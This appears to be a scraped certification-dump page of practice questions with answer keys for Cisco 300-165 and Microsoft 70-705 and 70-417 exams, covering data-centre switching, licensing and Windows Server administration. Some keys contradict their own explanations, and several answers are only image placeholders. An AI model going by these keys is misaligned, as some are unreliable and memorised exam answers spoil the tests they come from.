for each remote access VPN user. The report shows the usernames, the bandwidth in total number of bytes sent and
received, the connection duration time in days hours:minutes:seconds format, and the throughput for each user in kbps.
The throughput is throughput is calculated as 8.0*(bandwidth of the user in bytes)/(duration for which the user is
connected in seconds*1000.0). Beginning with Security Manager 4.7, the User Report provides both user-level details
and session-level details:
User-Level Details –For a particular user, the user-level details represent the combined value of all that user\\’s
sessions: Username, Total no. of Sessions, Bandwidth, Duration, and Throughput. Session-Level Details –Expanding
the tree
displays the session-level details for each session that a particular user has a VPN connection with; the session-level
details encompass the Session ID, Login Time, Logout Time, Bandwidth, Throughput, and Duration of the Session.
(Here
the logout time is calculated by using the formula Logout Time = Login Time + Duration.)

 

QUESTION 9
What are two reasons to implement Cisco IOS MPLS Bandwidth-Assured Layer 2 Services? (Choose two.)
A. guaranteed bandwidth and peak rates as well as low cycle periods, regardless of which systems access the device
B. increased resiliency through MPLS FRR for AToM circuits and better bandwidth utilization through MPLS TE
C. enabled services over an IP/MPLS infrastructure, for enhanced MPLS Layer 2 functionality
D. provided complete proactive protection against frame and device spoofing
Correct Answer: BC

 

QUESTION 10
Which three options are hardening techniques for Cisco IOS routers? (Choose three.)
A. limiting access to infrastructure with access control lists
B. enabling service password recovery
C. using SSH whenever possible
D. encrypting the service password
E. using Telnet whenever possible
F. enabling DHCP snooping
Correct Answer: ACD

 

QUESTION 11
What is the default behavior of NAT control on Cisco ASA Software Version 8.3?
A. NAT control has been deprecated on Cisco ASA Software Version 8.3.
B. It will prevent traffic from traversing from one enclave to the next without proper access configuration.
C. It will allow traffic to traverse from one enclave to the next without proper access configuration.
D. It will deny all traffic.
Correct Answer: A

 

QUESTION 12
Which URL matches the regex statement “http”*/”www.cisco.com/”*[^E]”xe”?
A. https://www.cisco.com/ftp/ios/tftpserver.exe
B. https://cisco.com/ftp/ios/tftpserver.exe
C. http:/www.cisco.com/ftp/ios/tftpserver.Exe
D. https:/www.cisco.com/ftp/ios/tftpserver.EXE
Correct Answer: A

 

QUESTION 13
Which three configurations tasks do you perform to allow Not Flow on a Cisco ASA G500 Series firewall? (Choose
three)
A. Apply the newly created class map to the global policy.
B. Enable NetFlow Version 9.
C. Create a class map match interesting traffic.
D. Create an ACL to allow UDP traffic on port 9996.
E. Define a NetFlow collector by using the flow-export command.
F. Apply NetFlow Exporter to the outside interface in the inbound direction
Correct Answer: ACE

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The latest Cisco CCNP Data Center 300-165 exam practice questions test your strength

QUESTION 1
Assuming hello PDU authentication has been disabled, which command re-enables the feature on a FabricPath
interface?
A. switch (config-if) # fabricpath isis authentication-type cleartext
B. switch (config-if) # fabricpath isis authentication-type md5
C. switch (config-if) # fabricpath isis authentication check
D. switch (config-if) # fabricpath isis hello-interval
Correct Answer: C

 

QUESTION 2
Which statement about SNMP support on Cisco Nexus switches is true?
A. SNMP requires the LAN_ENTERPRISE_SERVICES_PKG license.
B. SNMP is not VRF-aware.
C. Only users belonging to the network operator RBAC role can assign SNMP groups.
D. Cisco NX-OS supports one instance of the SNMP per VDC.
E. Cisco NX-OS only supports SNMP over IPv4.
Correct Answer: D

 

QUESTION 3
When implementing Cisco Adapter FEX, which setting on the virtual interface card on the Cisco UCS C-Series Server
must be configured?
A. uplink failover
B. PXE boot
C. network interface virtualization
D. VM-FEX
Correct Answer: C

 

QUESTION 4
Scenario
The following four questions concern the Nexus 7010\\’s which are configured as a vPC pair at the core of a Data
Center network. You can utilize all the available show commands to answer the questions. Access to the running-
configuration is
not allowed.
Instructions
Enter NX-OS commands on 7K-3 and 7K-4 to verify network operation and answer four multiple-choice questions.
THIS TASK DOES NOT REQUIRE DEVICE CONFIGURATION.
Click on the switch to gain access to the console of the switch. No console or enable passwords are required.
To access the multiple-choice questions, click on the numbered boxes on the left of the top panel.
There are four multiple-choice questions with this task. Be sure to answer all four questions before selecting the Next
button.

pass4itsure 300-165 exam question q4 pass4itsure 300-165 exam question q4-1

Within the vpc configuration of the 7K\\’s, the command peer-switch is configured.
What is the result of enabling this command?
A. Both vPC peers use the same STP root ID
B. The vPC primary switch (7K-4 in this case) also serves as the STP root to improve vPC convergence
C. The vPC secondary switch (7K-3 in this case) serves as the STP root to improve vPC performance
D. Allows 7K-3 to act as the active HSRP gateway for packets that are addressed to the MAC address of 7K-4
E. Automatically disables IP redirects on all interface VLANs mapped over a vPC VLAN to avoid generation of IP
redirect messages for packets switched through the vPC peer gateway router
F. Enables faster convergence of ARP tables after the vPC peer link flaps
Correct Answer: B


QUESTION 5
Refer to the exhibit. An engineer is implementing a new network design that includes a port channel to connect an MDS
core switch and an NPV switch. Which two Fibre Channel port types must be used to create Fibre Channel port
channel? (Choose two.)pass4itsure 300-165 exam question q5

A. N Port
B. NP Port
C. F Port
D. E Port
E. TL Port
Correct Answer: BC
Reference: https://www.cisco.com/c/en/us/td/docs/switches/datacenter/mds9000/sw/4_1/configuration/guides/cli_4_1/clibook/pc.html

 

QUESTION 6
Drag and drop the VXLAN protocol characteristic from the left onto the benefit it provides on the right.
Select and Place:pass4itsure 300-165 exam question q6

Correct Answer:

pass4itsure 300-165 exam question q6-1

 

QUESTION 7
A Cisco Catalyst 6500 Series Switch suffers a supervisor failure. Which statement is true regarding Cisco NSF
functionality?
A. The line cards are reloaded.
B. The neighbouring routers do not participate in Cisco NSF.
C. The Cisco Express Forwarding cache is pruned.
D. Layer 3 reconvergence does not occur.
E. Cisco NSF can be deployed with RPR+.
Correct Answer: D

 

QUESTION 8
Refer to the exhibit. What is the maximum IPv6 unicast route memory allocated?pass4itsure 300-165 exam question q8

A. 4 MB
B. 8 MB
C. 1024 MB
D. 1 GB
E. 5 MB
Correct Answer: A

 

QUESTION 9
Which two items are required components of VN-Link in software? (Choose two.)
A. VDC
B. VEM
C. vPC
D. VSM
E. VRRP
Correct Answer: BD
The Cisco Nexus 1000V Series consists of two main types of components that can virtually emulate a 66-slot modular
Ethernet switch with redundant supervisor functions:
Virtual Ethernet module (VEM)-data plane: This lightweight software component runs inside the hypervisor. It enables
advanced networking and security features, performs switching between directly attached virtual machines, provides
uplink capabilities to the rest of the network, and effectively replaces the vSwitch. Each hypervisor is embedded with
one VEM.
Virtual supervisor module (VSM)-control plane: This standalone, external, physical or virtual appliance is responsible for
the configuration, management, monitoring, and diagnostics of the overall Cisco Nexus 1000V Series system (that is,
the combination of the VSM itself and all the VEMs it controls) as well as the integration with VMware vCenter. A single
VSM can manage up to 64 VEMs. VSMs can be deployed in an active-standby model, helping ensure high availability.
http://www.cisco.com/c/en/us/solutions/collateral/switches/nexus-1000v-switch-vmware-vsphere/white_paper_c11-525307.html

 

QUESTION 10
Which statement regarding the implementation of Fibre Channel domain IDs is true?
A. They are assigned on a per-switch basis.
B. They must be unique on all of the Fibre Channel switches in the fabric.
C. They are assigned on a per-line card basis.
D. They must be the same on all of the Fibre Channel switches in the fabric.
Correct Answer: B

 

QUESTION 11
Fibre Channel IDs are dynamically assigned to which objects?
A. Cisco Fabric Services packets
B. WWPNs
C. FSPF packets
D. FEXs
E. VSANs
Correct Answer: E

 

QUESTION 12
Which standard has Cisco used to implement VM-FEX?
A. IEEE 802.1BR
B. IEEE 802.1Qbb
C. IEEE 802.1Qaz
D. IEEE 802.1p
E. IEEE 802.1x
Correct Answer: A

 

QUESTION 13
You configure STP on a switch that is attached to a Cisco FabricPath domain and that has the vPC feature deployed.
How do you configure STP on the switch in the Cisco FabricPath domain on VLAN 10?
A. switch(config)# spanning-tree vlan 10 priority 0 switch(config)# spanning-tree pseudo-information switch(config-
pseudo)# vlan 10 root priority 0
B. switch(config)# spanning-tree vlan 10 priority 8192 switch(config)# spanning-tree pseudo-information switch(config-
pseudo)# vlan 10 root priority 4096
C. switch(config)# spanning-tree vlan 10 priority 4096 switch(config)# spanning-tree pseudo-information switch(config-
pseudo)# vlan 10 root priority 8192
D. switch(config)# spanning-tree vlan 10 priority 0 switch(config)# spanning-tree pseudo-information switch(config-
pseudo)# vlan 10 root priority 4096
Correct Answer: B
Note that it is fine to use the spanning-tree priority command and the spanning-tree pseudo-information command
together, but the root priority in the pseudo-information needs to be a lower value (higher priority) than the spanning-tree
priority to make sure that the remaining working Cisco FabricPath switch is sending a superior BPDU with the common
FabricPath bridge ID and the configured spanning-tree pseudo-information priority and remains at the spanning-tree
root. Reference: https://www.cisco.com/c/dam/en/us/products/collateral/switches/nexus-7000-series-switches/white_paper_c07-728188.pdf page 44

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Exam 70-705: Designing and Providing Microsoft Licensing Solutions to Large Organizations: https://www.microsoft.com/en-us/learning/exam-70-705.aspx

Candidates for this exam are sales professionals who sell licensing solutions to large organizations. Organizations in this category typically have 250 or more devices or users. Candidates should have at least six months of experience selling Microsoft licensing solutions as well as a basic understanding of all Microsoft corporate licensing solutions, including Enterprise Agreement, Enterprise Subscription Agreement, Cloud Solution Provider (CSP), MPSA, OEM, Open and Open Value.

pass4itsure 70-705 Skills measured

This exam measures your ability to accomplish the technical tasks listed below. The percentages indicate the relative weight of each the major topic area on the exam. The higher the percentage, the more questions you are likely to see on that content area on the exam.

Recommend the appropriate technology solution (60-65%)

  • Evaluate the gap between the current and future technology solution
  • Determine the required products and product licensing rights for the customer’s on-premises solution
  • Determine the required products and product licensing rights for the customer’s Online Services solution
  • Determine the required products and product licensing rights for the customer’s Azure solution

Recommend the Appropriate Software Assurance Benefits (10-15%)

  • Leverage Software Assurance (SA) benefits for customer solutions
  • Assist the customer with SA benefit activation

Recommend a licensing solution (20-25%)

  • Select the appropriate licensing programs
  • Identify product licensing rights

Latest effective Microsoft License Management 70-705 Exam Practice Tests

QUESTION 1
A customer has an Enterprise Subscription Agreement.
The customer has the following deployed:
Microsoft Exchange Server 2013 Enterprise Edition Microsoft System Center 2012 92 Datacenter Edition Microsoft
System Center 2012 R2 Standard Edition Microsoft Office Professional Plus 2013 Windows Server 2012 R2 Datacenter
Windows Server 2012 R2 Standard Microsoft SharePoint Server 2013 Windows 8.1 Pro
The company is evaluating the implementation of Hyper-V and the live migration of virtual machines.
To which product does the License Mobility within Server Farms right apply?
A. Office Professional Plus 2013
B. Exchange Server 2013 Enterprise Edition
C. Microsoft System Center 2012 R2 Datacenter Edition
D. Windows Server 2012 R2 Standard
Correct Answer: B
Products–like Microsoft SharePoint and Microsoft Exchange–that are identified as eligible for License Mobility within
Server Farms in the Microsoft Product Use Rights (PUR) document will be available for License Mobility. License
Mobility Through Software Assurance

 

QUESTION 2
A customer wants to use Microsoft Office 365 ProPlus, Yammer Enterprise, and Microsoft Teams.
You need to recommend an Office 365 plan that includes the required functionality. The solution must minimize costs.
What should you recommend?
A. Office 365 Enterprise E5
B. Office 365 Enterprise F1
C. Office 365 Enterprise E1
D. Office 365 Enterprise E3
Correct Answer: D
https://technet.microsoft.com/en-us/library/office-365-plan-options.aspx

 

QUESTION 3
This question requires that you evaluate the underlined text to determine if it is correct.
Only licenses purchased through Volume Licensing agreements allow desktop operating system downgrades.
Review the underlined text. If it makes the statement correct, select “No change is needed.” If the statement is incorrect,
select the answer choice that makes the statement correct.
A. No change is needed.
B. Original Equipment Manufacturer (OEM) and Volume Licensing agreements
C. Original Equipment Manufacturer (OEM) and Full Packaged Product (FPP)
D. Volume Licensing agreements and Full Packaged Product (FPP)
Correct Answer: B
*
Microsoft Volume Licensing agreements include references to specific rights to use any prior versions of Microsoft
licensed software.
*
The OEM License Terms for Windows 8.1 Pro, Windows 8 Pro, Windows 7 Professional, Windows 7 Ultimate,
Windows Vista Business and Windows Vista Ultimate operating systems grant downgrade rights
*
Downgrade rights are not granted under FPP system licenses.

 

QUESTION 4
A customer has various device licenses for Windows 10.
The customer needs to move to user licenses for Windows 10 by purchasing a Windows 10 Enterprise E3 Per User Add-
on (to E3 per device) User Subscription License (USL).
Which license qualities for this Add-on?
A. Windows 10 Pro
B. Windows 10 Enterprise E3
C. Windows 10 Enterprise E5
D. Windows 10 Home
Correct Answer: A
http://www.mirazon.com/windows-10-enterprise-e3-e5-user- based-subscription-for-windows/

 

QUESTION 5
A company named Contoso, Ltd. plans to install Microsoft SQL Server on the physical servers shown in the following
table.pass4itsure 70-705 exam question q5

Contoso needs to acquire SQL Server 2016 Enterprise licenses for the servers.
How many licenses should be assigned to each server? To answer, select the appropriate options in the answer area.
NOTE: Each correct selection is worth one point.
Hot Area:

pass4itsure 70-705 exam question q5-1

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pass4itsure 70-705 exam question q5-2

 

QUESTION 6
A customer wants to standardize on the most up-to-date versions of Microsoft Office Professional Plus and Windows 10
Enterprise E3 for all desktops.
You need to recommend the program through which the customer should purchase the licenses at the lowest cost.
Which program should you recommend?
A. Enterprise Agreement (EA)
B. Cloud Solution Provider (CSP)
C. Microsoft Products and Services Agreement (MPSA)
D. Server and Cloud Enrollment (SCE)
Correct Answer: A
https://www.microsoft.com/en-us/licensing/licensing-programs/enterprise.aspx

 

QUESTION 7
A customer needs to purchase subscriptions to Microsoft Office 365 Enterprise E3 for 400 users. Which program should
the customer use?
A. Microsoft Products and Services Agreement (MPSA)
B. Enrollment for Education Solutions (EES)
C. Server and Cloud Enrollment (SCE)
D. Enrollment for Application Platform (EAP)
Correct Answer: D
The Enterprise Enrollment is appropriate for your organization if you have more than 250 PCs, devices and/or users and
want to license software and cloud services for your organization for a minimum, three-year period.
During this term, you can get attractive volume pricing for Microsoft core PC and device products, namely Windows 7
Enterprise, Office Professional Plus 2010 and applicable client access licenses, in exchange for your enterprise-wide
licensing commitment.
Incorrect:
not B: EES is for schools.
Not C: The Server and Cloud Enrollment (SCE) is a new enrollment under the Microsoft Enterprise Agreement. The
SCE provides a new option for highly committed customers that enables them to standardize broadly on one or more
key
Server and Cloud technologies from Microsoft.

 

QUESTION 8
This question requires that you evaluate the underlined text to determine if it is correct.
A customer plans to deploy a Microsoft Exchange Server infrastructure that has the following characteristics:
Two Exchange Server 2013 servers that each have two mailbox databases One thousand users who will have
mailboxes that use Unified Messaging
The customer needs to purchase two Exchange Server Enterprise server licenses and 1,000 Exchange Server
Enterprise CALs.
Review the underlined text. If it makes the statement correct, select “No change is needed.” If the statement is incorrect,
select the answer choice that makes the statement correct.
A. No change is needed.
B. Two Exchange Server Standard server licenses, 1,000 Exchange Server Standard CALs, and 1,000 Exchange
Server Enterprise CALs
C. Two Exchange Server Enterprise server licenses and 1,000 Exchange Server Standard CALs
D. Two Exchange Server Standard server licenses, one Exchange Server External Connector, and 1,000 Exchange
Server Enterprise CALs
Correct Answer: B

 

QUESTION 9
A company named Contoso, Ltd. wants to standardize the Microsoft Core CAL Suite for all of its users. Contoso
indicates that it has a fluctuating user count due to the seasonality of its business.
You need to recommend a licensing program for Contoso.
What should you recommend?
A. Open Value Subscription
B. Select Plus
C. Server and Cloud Enrollment (SCE)
D. Open
Correct Answer: C
SCE offers our lowest Windows Azure pricing, application License Mobility to the cloud, and new benefits for using
System Center to manage Azure resources. Customers also get a new, subscription-based option, offering more
flexibility when retiring workloads, consolidating, or migrating to the cloud.

 

QUESTION 10
A customer has an Enterprise subscription Agreement.
What should the customer submit at the end of the first year of the agreement?
A. a License Verification Form
B. a buy-out order
C. an annual true-up order
D. an annual order
Correct Answer: C

 

QUESTION 11
The human resources department of a customer needs to help employees become more familiar with Windows 8.
Which Software Assurance (SA) benefit should you recommend?
A. E-Learning
B. 24×7 Problem Resolution Support
C. Training Vouchers
D. Home Use Program
Correct Answer: A

 

QUESTION 12
A company plans to sign an Enterprise Agreement.
The company has 400 users who will require access to Virtual Desktop Infrastructure (VDI) desktops. The VDI desktops
will run Windows 8.1 Enterprise and have Microsoft Office Professional Plus 2013 installed. The VDI desktops will be accessed from 300 client computers and 175 iPads, which are owned by the company.
You need to recommend which licenses for Office the company should purchase. The solution must minimize the initial
cost of the licenses.
What should you recommend? To answer, select the appropriate options in the answer area.
Hot Area:pass4itsure 70-705 exam question q12

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pass4itsure 70-705 exam question q12-1

 

QUESTION 13
Purchasing Accounts in a Microsoft Products and Services Agreement (MPSA) is used to define the purchasing
entities across an organization. For each of the following statements, select Yes if the statement is true. Otherwise,
select No.
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pass4itsure 70-705 exam question q13-1

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Exam 70-417: Upgrading Your Skills to MCSA Windows Server 2012: https://www.microsoft.com/en-us/learning/exam-70-417.aspx

This exam is intended for IT professionals who want to validate the skills and knowledge necessary to implement the Windows Server 2012
core infrastructure services. Candidates have already earned a qualifying Windows Server 2008, Windows Server 2003, Windows Server 2000,
or Windows XP certification

pass4itsure 70-417 Skills measured

This exam measures your ability to accomplish the technical tasks listed below. This exam has been updated to cover the recent technology updates in Windows Server 2012 R2 and System Center 2012 R2. For more details,
you may review the documents on the exam detail pages for exams 70-410, 70-411, and 70-412.

Exam 70-410

  • Install and configure servers
  • Configure server roles and features
  • Configure Hyper-V
  • Install and administer Active Directory

Exam 70-411

  • Deploy, manage, and maintain servers
  • Configure network services and access
  • Configure a network policy server infrastructure
  • Configure and manage Active Directory
  • Configure and manage Group Policy

Exam 70-412

  • Configure and manage high availability
  • Configure file and storage solutions
  • Implement business continuity and disaster recovery
  • Configure network services
  • Configure access and information protection solutions

Latest effective Microsoft Windows Server 2012 70-417 Exam Practice Tests

QUESTION 1
You have a virtual machine named VM1 that runs on a host named Host1.
You configure VM1 to replicate to another host named Host2. Host2 is located in the same physical location as Host1.
You need to add an additional replica of VM1. The replica will be located on a different physical site.
What should you do?
A. From VM1 on Host2, click Extend Replication.
B. On Host1, configure the Hyper-V settings.
C. From VM1 on Host1, click Extend Replication.
D. On Host2, configure the Hyper-V settings.
Correct Answer: A
Once that is done, go to replica site and from Hyper-V UI manager select the VM for which you want to extend the
replication. Right, click on VM and select “Replication->Extend Replication …”. This will open Extend Replication
Wizard which is similar to Enable Replication Wizard. http://technet.microsoft.com/en-us/library/dn551365.aspx
http://technet.microsoft.com/en-us/library/jj134240.aspx NOTE: You configure a server to receive replication with Hyper-
V Manager, in this situation the replica site is assumed to be the Replica Server. Therefore, you extend replication from
VM1 on Host2.
References: http://blogs.technet.com/b/virtualization/archive/2013/12/10/hyper-v-replica-extend-replication.aspx

 

QUESTION 2
Your role of Network Administrator at ABC.com includes the management of the Active Directory Domain Services (AD
DS) domain named ABC.com. All servers on the network run Windows Server 2012.
You create a second domain named Dev.ABC.com. The new domain contains a domain controller named ABC-
DevDC1. The Dev.ABC.com domain will be used to test domain configurations before applying them to the corporate
domain. You discover that the Default Domain Controllers Policy on ABC-DevDC1 has become corrupted. You do not
have a backup of the Default Domain Controllers Policy.
How can you recreate the Default Domain Controllers Policy without affecting the Default Domain Policy?
A. By running the DCDiag /fix command.
B. By running the DCPromo /adv command.
C. By running the DCGPOFix /target: domain command.
D. By running the DCGPOFix /target: dc command.
Correct Answer: D

 

QUESTION 3
Your network contains an Active Directory domain named contoso.com. The domain contains a server named Server1
that runs Windows Server 2012 and a server named Server2 that runs Windows Server 2008 R2 Service Pack 1 (SP1).
Both servers are member servers.
On Server2, you install all of the software required to ensure that Server2 can be managed remotely from Server
Manager.
You need to ensure that you can manage Server2 from Server1 by using Server Manager.
Which two tasks should you perform on Server2? (Each correct answer presents part of the solution. (Choose two.)
A. Run the Enable-PSRemoting cmdlet.
B. Run the Configure-SMRemoting.PSL script.
C. Run the Enable-PSSessionConfiguration cmdlet.
D. Run the Set-ExecutionPolicycmdlet.
E. Run the systempropertiesremote.exe command.
Correct Answer: BD
To configure Server Manager remote management by using Windows PowerShell
On the computer that you want to manage remotely, open a Windows PowerShell session with elevated user rights.
In the Windows PowerShell session, type the following, and then press Enter.
Set-ExecutionPolicy –ExecutionPolicyRemoteSigned (D)
Type the following, and then press Enter to enable all required firewall rule exceptions.
Configure-SMRemoting.ps1 -force –enable (B)
References: https://msandbu.wordpress.com/2012/08/26/administer-other-windows-server-from-server-manager-2012/

 

QUESTION 4
Your network contains an Active Directory domain named contoso.com. The domain contains a member server named
Server1. Server1 has the Web Server (IIS) server role installed. On Server1, you install a managed service account
named Service1. You attempt to configure the World Wide Web Publishing Service as shown in the exhibit.pass4itsure 70-417 exam question q4

You receive the following error message:
“The account name is invalid or does not exist, or the password is invalid for the account name specified.”
You need to ensure that the World Wide Web Publishing Service can log on by using the managed service account.
What should you do?
A. Specify contoso\service1$ as the account name.
B. Specify [email protected] as the account name.
C. Reset the password for the account.
D. Enter and confirm the password for the account.
Correct Answer: A
A managed service account is designed for service applications such as Internet Information Services, SQL Server, or
Exchange to provide the following: Automatic password management, so that these services can be separated from
other services on the computer better.
Simplified SPN management Service Principal Name (SPN) that Allows service administrators to set SPNs on these
accounts.
In addition, SPN management can be delegated to other administrators.
Managed service accounts are created using PowerShell cmdlets and managed. The accounts are identified by a dollar
sign at the end of the login name. After the login name is correct, the settings are applied and the account will have the right to log on as a service given.
References: https://blogs.technet.microsoft.com/askds/2009/09/10/managed-service-accounts-understanding-implementing-best-practices-and-troubleshooting/

 

QUESTION 5
Your network contains an Active Directory domain named contoso.com. All servers run Windows Server 2012 R2. The
domain contains a server named Server1.
You install the Windows PowerShell Web Access gateway on Server1.
You need to provide administrators with the ability to manage the servers in the domain by using the Windows
PowerShell Web Access gateway.
Which two cmdlets should you run on Server1? (Each correct answer presents part of the solution. Choose two.)
A. Install PswaWebApplication
B. Add PswaAuthorizationRule
C. Set-WSManlnstance
D. Set-WSManQuickConfig
E. Set-BCAuthentication
Correct Answer: AB
Configure PowerShell Web Access Gateway using the following PowerShell Cmdlet.
Install-PswaWebApplication?seTestCertificate
Running the cmdlet installs the Windows PowerShell Web Access web application within the IIS Default Web Site
container. The cmdlet creates the infrastructure required to run Windows PowerShell Web Access on the default
website,
https:///pswa.
Add-PswaAuthorizationRule
Adds a new authorization rule to the Windows PowerShell Web Access authorization rule set.
Parameters:
ComputerGroupName
ComputerName
ConfigurationName
RuleName UserGroupName UserName Credential (Windows Server 2012 R2 and later)
References: http://technet.microsoft.com/en-us/library/hh849867.aspx http://technet.microsoft.com/en-
us/library/hh849875.aspx http://technet.microsoft.com/en-us/library/jj592890(v=wps.620).aspx
http://technet.microsoft.com/en-us/library/hh848404(v=wps.620).aspx http://technet.microsoft.com/en-
us/library/jj592894(v=wps.620).aspx

 

QUESTION 6
You have a server named Server1 that runs Windows Server 2012 R2.
You plan to enable Hyper-V Network Virtualization on Server1.
You need to install the Windows Network Virtualization Filter Driver on Server1.
Which Windows PowerShell cmdlet should you run?
A. Set-NetVirtualizationGlobal
B. Enable-NetAdapterBinding
C. Add – WindowsFeature
D. Set-NetAdapterVmq
Correct Answer: B
Hyper-V Network Virtualization runs multiple virtual networks on a physical network. And each virtual network operates
as if it is running as a physical network. The Set-NetAdaptercmdlet sets the basic properties of a network adapter
such as virtual LAN (VLAN) identifier (ID) and MAC address. Thus if you add the binding parameter to the command
then you will be able to install the Windows Network Virtualization Filter Driver. Step one: Enable Windows Network
Virtualization (WNV). This is a binding that is applied to the NIC that you External Virtual Switch is bound to. This can be
a physical NIC, it can be an LBFO NIC team. Either way, it is the network adapter that your External Virtual Switch uses
to exit the server. This also means that if you have multiple virtual networks or multiple interfaces that you can pick and
choose and it is not some global setting. If you have one External Virtual Switch this is fairly easy: $vSwitch = Get-
VMSwitch -SwitchType External# Check if Network Virtualization is bound# This could be done by checking for the
binding and seeing if it is enabled for each-Object -InputObject $vSwitch {if ((Get-NetAdapterBinding-ComponentID
“ms_netwnv” -InterfaceDescription $_.NetAdapterInterfaceDescription).Enabled -eq $false){# Lets enable enable-
NetAdapterBinding-InterfaceDescription $_.NetAdapterInterfaceDescription -ComponentID “ms_netwnv”}}

 

QUESTION 7
You work as a Network Administrator at ABC.com. The network contains a single Active Directory Domain Services (AD
DS) domain named ABC.com. The network includes servers that run Windows Server 2008 R2 Service Pack 1 (SP1)
and Windows Server 2012. All servers in the network have Windows Remote Management (WinRM) enabled. You use
a Windows 7 Enterprise client computer named ABC-Admin1. You are currently logged in to ABC-Admin1. From your client computer, you want to obtain the IP address of a Windows Server 2012 member server named ABC-File1.
Which command or commands should you use?
A. Telnet ABC-File1 ipconfig.
B. NSLookup > Server ABC-File1 > ipconfig
C. WinRM -r:ABC-File1 ipconfig
D. WinRS -r:ABC-File1 ipconfig
Correct Answer: D

 

QUESTION 8
Your role of Network Administrator at ABC.com includes the management of the Active Directory Domain Services (AD
DS) domain named ABC.com. The network includes servers that run Windows Server 2012.
The network includes a Windows Server 2012 server named ABC-AppSrv1. ABC-AppSrv1 runs a custom line-of-
business (LOB) application used by all company users. You create a Data Collector Set (DCS) to monitor performance
counters for ABC-AppSrv1.
You need to ensure that when the size of the folder containing the performance log data reaches 500MB, previous data
is deleted.
How can you meet this requirement?
A. By configuring a quota on the folder in File Server Resource Manager (FSRM).
B. By configuring a file screen on the folder in File Server Resource Manager (FSRM).
C. By configuring the Maximum root path size setting in the Data Manager settings of the Data Collector Set.
D. By configuring the Maximum folders size setting in the Data Manager settings of the Data Collector Set.
Correct Answer: C

 

QUESTION 9
Complete the missing word from the sentence below that is describing one of the new roles in Server 2012:
By using _________, you can augment an organization\\’s security strategy by protecting information through persistent
usage policies, which remain with the information, no matter where it is moved.
A. ADFS
B. RODC
C. ADLDS
D. AD RMS
Correct Answer: D
References: https://technet.microsoft.com/en-us/library/ee221010(v=ws.10).aspx

 

QUESTION 10
Your network contains an Active Directory domain named contoso.com.
A previous administrator implemented a Proof of Concept installation of Active Directory Rights Management Services
(AD RMS) on a server named Server1. After the proof of concept was complete, the Active Directory Rights
Management
Services server role was removed.
You attempt to deploy AD RMS. During the configuration of AD RMS, you receive an error message indicating that an
existing AD RMS Service Connection Point (SCP) was found.
You need to ensure that clients will only attempt to establish connections to the new AD RMS deployment.
Which should you do?
A. From DNS, remove the records for Server1.
B. From DNS, increase the priority of the DNS records for the new deployment of AD RMS.
C. From Active Directory, remove the computer object for Server1.
D. From Active Directory, remove the SCP.
Correct Answer: D
The Active Directory Rights Management Services (AD RMS) Service Connection Point (SCP) is an object in Active
The directory that holds the web address of the AD RMS certification cluster. AD RMS-enabled applications use the SCP to discover the AD RMS service; it is the first connection point for users to discover the AD RMS web services.
Only one SCP can exist in your Active Directory forest. If you try to install AD RMS and an SCP already exists in your
forest from a previous AD RMS installation that was not properly deprovisioned, the new SCP will not install properly. It must be removed before you can establish the new SCP.
References:
http://social.technet.microsoft.com/wiki/contents/articles/710.the-ad-rms-service-connection-point.aspx

 

QUESTION 11
Your network contains an Active Directory domain named contoso.com. All client computers run Windows 8 Pro. You
have a Group Policy object (GPO) named GP1. GP1 is linked to the domain. GP1 contains the Windows Internet
Explorer 10 and 11 Internet Settings.
The settings are shown in the exhibit.pass4itsure 70-417 exam question q11

Users report that when they open Windows Internet Explorer, the home page is NOT set to HTTP:// www.contoso.com.
You need to ensure that the home page is set to http://www.contoso.com the next time users log on to the domain.
What should you do?
A. On each client computer, run gpupdate.exe.
B. Open the Internet Explorer 10 and 11 Internet Settings, and then press F5.
C. Open the Internet Explorer 10 and 11 Internet Settings, and then modify the Tabs settings.
D. On each client computer, run Invoke-GPupdate.
Correct Answer: B
The Section Home on the tab General is marked with a red dashed line.
This indicates that the setting has the status of “not configured”.
If you press while the dialog box is open, the F5 key is changing the red dotted line in a solid green line, which
“activates” corresponds to the policy status.
Configure the following key combinations the status of the settings of the current tab:
F5-All settings activated (green)
F6-A setting is enabled (green)
F7-A setting is not configured (red)
F8 -All settings are not activated (red)
References: https://4sysops.com/archives/internet-explorer-10-administration-part-3-group-policy-preferences/

 

QUESTION 12
You have a server named Server1 that runs Windows Server 2012 R2.
A Microsoft Azure Backup of Server1 is created automatically every day.
You need to view the items that are included in the backup.
Which cmdlet should you run?
A. Get-WBSummary
B. Get-OBPolicy
C. Get-OBJob
D. Get-WBJob
Correct Answer: B
The Get-OBPolicy cmdlet gets the current backup policy that is set for the server, including the details about scheduling
backups, files included in the backup, and retention policy Incorrect Answers:
A: The Get-WBSummary cmdlet gets the history of the backup operations performed. Information returned includes
when the next backup is scheduled for, details for the last backup, and details of the last successful backup.
C: The Get-OBJob cmdlet gets a list of operations from a server as OBJob[] objects.
D: The Get-WBJob cmdlet gets the currently running or previous backup operation (WBJob object). References:
https://technet.microsoft.com/en-us/library/hh770406(v=wps.630).aspx

 

QUESTION 13
Your network contains an Active Directory domain named contoso.com.
You install Windows Server 2012 R2 on a new server named Server1 and you join Server1 to the domain.
You need to ensure that you can view processor usage and memory usage information in the Server Manager.
What should you do?
A. From Server Manager, click Configure Performance Alerts.
B. From Performance Monitor, create a Data Collector Set (DCS).
C. From Performance Monitor, start the System Performance Data Collector Set (DCS).
D. From Server Manager, click Start Performance Counters.
Correct Answer: D
You should navigate to the Server Manager snap-in and there click on All Servers, and then Performance Counters. The
Performance Counters, when started can be set to collect and display data regarding processor usage, memory usage,
amongst many other resources like disk-related and security-related data, that can be monitored.
References:
http://technet.microsoft.com/en-us/library/bb734903.aspx

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